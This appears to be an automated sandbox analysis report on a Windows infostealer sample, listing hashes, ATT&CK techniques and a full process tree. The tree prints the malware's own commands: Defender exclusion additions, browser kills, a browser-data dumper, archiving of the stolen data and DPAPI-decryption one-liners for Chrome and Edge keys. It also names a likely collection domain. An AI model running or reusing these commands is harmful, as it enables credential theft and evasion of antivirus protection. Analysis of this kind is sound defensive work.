b5dbc4b6295e1dd86249cc954bd0d9a4a9ff815ba0237c8b06e7c0af126a19a0

Analysis

user interaction
yes
max time kernel
26s
max time network
49s
platform
windows11-21h2_x64
resource
win11-20260911-en
resource tags

arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
25/09/2026, 16:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
build.exe
Size 68.9MB
Sample260925-tx6fsaff48
SHA256 b5dbc4b6295e1dd86249cc954bd0d9a4a9ff815ba0237c8b06e7c0af126a19a0
MD5 e9861dc015a8d50b6d4bc05f2dbc0743
SHA1 223414ed107e1bf0f4a460754c9998b501c0d004
SHA512 c93538c55fbfa82076bbc9f2064af97b65d3eac97bc2f3e014b5e5a0a22ec91f6d0db48267b26f3d7a11e1ff0fb1450b561bc3901c16290d21384323599b9843
SSDEEP 393216:sgILmywFT2rwN8Cr8GZsNa6WGnDMI0MG4X71AQSI8wxSvDazn1N5VR+njCgXD4NA:sS4AQtRgANANvQLpgPVlcmYg
TLSH
T14FF76B4267EA05D5F9F7AA3499E65213D673BC067F3081CB324C172A1F736E08976B22
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1636	powershell.exe
3580	powershell.exe
3052	powershell.exe
5900	powershell.exe
2384	powershell.exe
5416	powershell.exe
5976	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
2468	dwm_overlay.exe
5944	cache.exe
5888	wcindex.exe

Loads dropped DLL 2 IoCs

pid	Process
5888	wcindex.exe
5888	wcindex.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 7 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 4 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3356	tasklist.exe
4168	tasklist.exe
1240	tasklist.exe
5084	tasklist.exe

Executes a command shell one-liner 1 TTPs 34 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1732	cmd.exe
1608	cmd.exe
952	cmd.exe
2140	cmd.exe
5660	cmd.exe
3416	cmd.exe
5200	cmd.exe
404	cmd.exe
5672	cmd.exe
6044	cmd.exe
5244	cmd.exe
1784	cmd.exe
4336	cmd.exe
5168	cmd.exe
5252	cmd.exe
224	cmd.exe
5164	cmd.exe
3604	cmd.exe
4536	cmd.exe
5404	cmd.exe
4452	cmd.exe
5956	cmd.exe
5668	cmd.exe
4072	cmd.exe
1236	cmd.exe
4764	cmd.exe
6008	cmd.exe
1116	cmd.exe
5572	cmd.exe
5780	cmd.exe
3428	cmd.exe
1888	cmd.exe
4980	cmd.exe
2540	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	dwm_overlay.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	build.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	build.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	dwm_overlay.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wmic.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5548	chrome.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	build.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5132	netstat.exe

Kills process with taskkill 21 IoCs

defense_evasion

pid	Process
3232	taskkill.exe
4312	taskkill.exe
2300	taskkill.exe
4024	taskkill.exe
5628	taskkill.exe
2920	taskkill.exe
5768	taskkill.exe
4736	taskkill.exe
2216	taskkill.exe
2552	taskkill.exe
5648	taskkill.exe
5620	taskkill.exe
1552	taskkill.exe
5132	taskkill.exe
3356	taskkill.exe
3708	taskkill.exe
2452	taskkill.exe
2796	taskkill.exe
5716	taskkill.exe
5184	taskkill.exe
3440	taskkill.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
5232	reg.exe
1968	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
2132	build.exe
2132	build.exe
1636	powershell.exe
1636	powershell.exe
2384	powershell.exe
2384	powershell.exe
5416	powershell.exe
5416	powershell.exe
3580	powershell.exe
3580	powershell.exe
5976	powershell.exe
3052	powershell.exe
5976	powershell.exe
3052	powershell.exe
5900	powershell.exe
5900	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	440	wmic.exe
Token: SeSecurityPrivilege	440	wmic.exe
Token: SeTakeOwnershipPrivilege	440	wmic.exe
Token: SeLoadDriverPrivilege	440	wmic.exe
Token: SeSystemProfilePrivilege	440	wmic.exe
Token: SeSystemtimePrivilege	440	wmic.exe
Token: SeProfSingleProcessPrivilege	440	wmic.exe
Token: SeIncBasePriorityPrivilege	440	wmic.exe
Token: SeCreatePagefilePrivilege	440	wmic.exe
Token: SeBackupPrivilege	440	wmic.exe
Token: SeRestorePrivilege	440	wmic.exe
Token: SeShutdownPrivilege	440	wmic.exe
Token: SeDebugPrivilege	440	wmic.exe
Token: SeSystemEnvironmentPrivilege	440	wmic.exe
Token: SeRemoteShutdownPrivilege	440	wmic.exe
Token: SeUndockPrivilege	440	wmic.exe
Token: SeManageVolumePrivilege	440	wmic.exe
Token: 33	440	wmic.exe
Token: 34	440	wmic.exe
Token: 35	440	wmic.exe
Token: 36	440	wmic.exe
Token: SeIncreaseQuotaPrivilege	440	wmic.exe
Token: SeSecurityPrivilege	440	wmic.exe
Token: SeTakeOwnershipPrivilege	440	wmic.exe
Token: SeLoadDriverPrivilege	440	wmic.exe
Token: SeSystemProfilePrivilege	440	wmic.exe
Token: SeSystemtimePrivilege	440	wmic.exe
Token: SeProfSingleProcessPrivilege	440	wmic.exe
Token: SeIncBasePriorityPrivilege	440	wmic.exe
Token: SeCreatePagefilePrivilege	440	wmic.exe
Token: SeBackupPrivilege	440	wmic.exe
Token: SeRestorePrivilege	440	wmic.exe
Token: SeShutdownPrivilege	440	wmic.exe
Token: SeDebugPrivilege	440	wmic.exe
Token: SeSystemEnvironmentPrivilege	440	wmic.exe
Token: SeRemoteShutdownPrivilege	440	wmic.exe
Token: SeUndockPrivilege	440	wmic.exe
Token: SeManageVolumePrivilege	440	wmic.exe
Token: 33	440	wmic.exe
Token: 34	440	wmic.exe
Token: 35	440	wmic.exe
Token: 36	440	wmic.exe
Token: SeDebugPrivilege	5132	netstat.exe
Token: SeDebugPrivilege	3356	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3340	wmic.exe
Token: SeSecurityPrivilege	3340	wmic.exe
Token: SeTakeOwnershipPrivilege	3340	wmic.exe
Token: SeLoadDriverPrivilege	3340	wmic.exe
Token: SeSystemProfilePrivilege	3340	wmic.exe
Token: SeSystemtimePrivilege	3340	wmic.exe
Token: SeProfSingleProcessPrivilege	3340	wmic.exe
Token: SeIncBasePriorityPrivilege	3340	wmic.exe
Token: SeCreatePagefilePrivilege	3340	wmic.exe
Token: SeBackupPrivilege	3340	wmic.exe
Token: SeRestorePrivilege	3340	wmic.exe
Token: SeShutdownPrivilege	3340	wmic.exe
Token: SeDebugPrivilege	3340	wmic.exe
Token: SeSystemEnvironmentPrivilege	3340	wmic.exe
Token: SeRemoteShutdownPrivilege	3340	wmic.exe
Token: SeUndockPrivilege	3340	wmic.exe
Token: SeManageVolumePrivilege	3340	wmic.exe
Token: 33	3340	wmic.exe
Token: 34	3340	wmic.exe
Token: 35	3340	wmic.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 2132 wrote to memory of 440	2132	build.exe	82
PID 2132 wrote to memory of 5132	2132	build.exe	84
PID 2132 wrote to memory of 5220	2132	build.exe	85
PID 2132 wrote to memory of 5232	2132	build.exe	86
PID 2132 wrote to memory of 1968	2132	build.exe	87
PID 2132 wrote to memory of 3356	2132	build.exe	88
PID 2132 wrote to memory of 3340	2132	build.exe	89
PID 2132 wrote to memory of 1116	2132	build.exe	90
PID 1116 wrote to memory of 1636	1116	cmd.exe	91
PID 1636 wrote to memory of 3876	1636	powershell.exe	92
PID 3876 wrote to memory of 1060	3876	csc.exe	93
PID 2132 wrote to memory of 952	2132	build.exe	94
PID 952 wrote to memory of 4528	952	cmd.exe	95
PID 4528 wrote to memory of 5012	4528	net.exe	96
PID 2132 wrote to memory of 1732	2132	build.exe	97
PID 2132 wrote to memory of 2140	2132	build.exe	98
PID 2132 wrote to memory of 4536	2132	build.exe	99
PID 2132 wrote to memory of 1888	2132	build.exe	100
PID 1732 wrote to memory of 4024	1732	cmd.exe	101
PID 1888 wrote to memory of 2384	1888	cmd.exe	103
PID 2140 wrote to memory of 2452	2140	cmd.exe	102
PID 4536 wrote to memory of 2796	4536	cmd.exe	104
PID 2132 wrote to memory of 2468	2132	build.exe	105
PID 2132 wrote to memory of 5404	2132	build.exe	107
PID 5404 wrote to memory of 5416	5404	cmd.exe	108
PID 2468 wrote to memory of 5668	2468	dwm_overlay.exe	109
PID 2468 wrote to memory of 5672	2468	dwm_overlay.exe	110
PID 2468 wrote to memory of 5660	2468	dwm_overlay.exe	111
PID 2468 wrote to memory of 5944	2468	dwm_overlay.exe	112
PID 5668 wrote to memory of 5628	5668	cmd.exe	114
PID 5672 wrote to memory of 5620	5672	cmd.exe	115
PID 5660 wrote to memory of 5648	5660	cmd.exe	116
PID 5944 wrote to memory of 6080	5944	cache.exe	117
PID 5944 wrote to memory of 6080	5944	cache.exe	117
PID 5944 wrote to memory of 1048	5944	cache.exe	118
PID 5944 wrote to memory of 1048	5944	cache.exe	118
PID 2468 wrote to memory of 224	2468	dwm_overlay.exe	122
PID 224 wrote to memory of 3580	224	cmd.exe	123
PID 2132 wrote to memory of 5888	2132	build.exe	124
PID 2132 wrote to memory of 1608	2132	build.exe	125
PID 5888 wrote to memory of 6044	5888	wcindex.exe	126
PID 1608 wrote to memory of 5976	1608	cmd.exe	127
PID 6044 wrote to memory of 4168	6044	cmd.exe	128
PID 5888 wrote to memory of 4452	5888	wcindex.exe	129
PID 4452 wrote to memory of 3052	4452	cmd.exe	130
PID 5888 wrote to memory of 5244	5888	wcindex.exe	131
PID 5244 wrote to memory of 5900	5244	cmd.exe	132

C:\Users\Admin\AppData\Local\Temp\build.exe
"C:\Users\Admin\AppData\Local\Temp\build.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2132
- C:\Windows\System32\Wbem\wmic.exe
  wmic process get Name,ProcessId,ExecutablePath,CommandLine /format:csv
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:440
- C:\Windows\system32\netstat.exe
  netstat -an
  2⤵
  - Gathers network information
  - Suspicious use of AdjustPrivilegeToken
  PID:5132
- C:\Windows\system32\reg.exe
  reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" /v Debugger
  2⤵
  PID:5220
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Classes\exefile\shell\Debug
  2⤵
  - Modifies registry key
  PID:5232
- C:\Windows\system32\reg.exe
  reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  2⤵
  - Modifies registry key
  PID:1968
- C:\Windows\system32\tasklist.exe
  tasklist /m /fi "PID eq 2132"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:3356
- C:\Windows\System32\Wbem\wmic.exe
  wmic process where ProcessId=3176 get Name,CommandLine,ExecutablePath /format:csv
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:3340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command " Add-Type -Name Window -Namespace Console -MemberDefinition ' [DllImport(\"Kernel32.dll\")] public static extern IntPtr GetConsoleWindow(); [DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow); '; $consolePtr = [Console.Window]::GetConsoleWindow(); [Console.Window]::ShowWindow($consolePtr, 0); ""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -Command " Add-Type -Name Window -Namespace Console -MemberDefinition ' [DllImport(\"Kernel32.dll\")] public static extern IntPtr GetConsoleWindow(); [DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow); '; $consolePtr = [Console.Window]::GetConsoleWindow(); [Console.Window]::ShowWindow($consolePtr, 0); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1636
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m50ycfjz\m50ycfjz.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3876
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB67A.tmp" "c:\Users\Admin\AppData\Local\Temp\m50ycfjz\CSC73E5B2C824D141C68AF0408AB8E8B846.TMP"
        5⤵
        
        PID:1060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4528
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1732
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    PID:4024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe
    3⤵
    - Kills process with taskkill
    PID:2452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4536
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe
    3⤵
    - Kills process with taskkill
    PID:2796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b'""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    PID:2384
- C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b\dwm_overlay.exe
  C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b\dwm_overlay.exe C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b\dwm_overlay.exe C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b\output FD0249FBDF88 ilovecats.sbs
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5668
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:5628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5672
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      PID:5620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5660
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      Kills process with taskkill
      PID:5648
- - C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b\cache.exe
    C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b\cache.exe all -o C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b\output -v --no-kill
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5944
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:6080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      4⤵
      PID:1048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b\output\*' -DestinationPath 'C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b\output\browserData_1790353694427.zip' -Force""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b\output\*' -DestinationPath 'C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b\output\browserData_1790353694427.zip' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:3580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\NarratorCache\fqhcl2'""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\NarratorCache\fqhcl2'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    PID:5416
- C:\Users\Admin\AppData\Local\NarratorCache\fqhcl2\wcindex.exe
  C:\Users\Admin\AppData\Local\NarratorCache\fqhcl2\wcindex.exe FD0249FBDF88
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:5888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6044
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAHNpCqHrbEEW+RoZXleokNRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAPR0bQsDHGYB7KxQ+QH9NQ9uwIz+uOOHddg8su0VI8a2AAAAAA6AAAAAAgAAIAAAAJBYk+S66Nxl710/VCzXlgEU2RUvFZ5nB7HkPmgHAUdeMAAAAGop1zW/cv0bSq01oJnwvoUm2W8tJJUdHtoYonL3499Ha/OKhSEEO4BfrG3+ZYEP0EAAAAAepEn1CMhHr5ztIISyHapSvHwlsh0wsLV1rBPWeWZ8kikApBYNe8YEDb+NhZqsg4YAJKf47AQ09aHFTKnfPOUG');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAHNpCqHrbEEW+RoZXleokNRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAPR0bQsDHGYB7KxQ+QH9NQ9uwIz+uOOHddg8su0VI8a2AAAAAA6AAAAAAgAAIAAAAJBYk+S66Nxl710/VCzXlgEU2RUvFZ5nB7HkPmgHAUdeMAAAAGop1zW/cv0bSq01oJnwvoUm2W8tJJUdHtoYonL3499Ha/OKhSEEO4BfrG3+ZYEP0EAAAAAepEn1CMhHr5ztIISyHapSvHwlsh0wsLV1rBPWeWZ8kikApBYNe8YEDb+NhZqsg4YAJKf47AQ09aHFTKnfPOUG');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:3052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAHNpCqHrbEEW+RoZXleokNRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAOAYdtnEo74Kcsms+v2W/kVkSP2/5K/MupIuDkS5c27QAAAAADoAAAAACAAAgAAAANepGcwJ+05khrdtQYp9ocLU792NklnWVZM6/qU4d6GkwAAAA/7wMjiLZV14HNG2uA8odnbuQK8ORBLHoHIbHEKN/FDlzqniA7MdUEtSr+aMvoVpfQAAAAJ1iyB3fDqgepUJvD4OEAFImvf/WLwSyXyR+UZONAwZzNV+BfSA+T9MRDMncfPXqahxqJ18wrsURsVD4nn+C2L4=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5244
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAHNpCqHrbEEW+RoZXleokNRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAOAYdtnEo74Kcsms+v2W/kVkSP2/5K/MupIuDkS5c27QAAAAADoAAAAACAAAgAAAANepGcwJ+05khrdtQYp9ocLU792NklnWVZM6/qU4d6GkwAAAA/7wMjiLZV14HNG2uA8odnbuQK8ORBLHoHIbHEKN/FDlzqniA7MdUEtSr+aMvoVpfQAAAAJ1iyB3fDqgepUJvD4OEAFImvf/WLwSyXyR+UZONAwZzNV+BfSA+T9MRDMncfPXqahxqJ18wrsURsVD4nn+C2L4=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:5900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5956
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:1552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5572
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
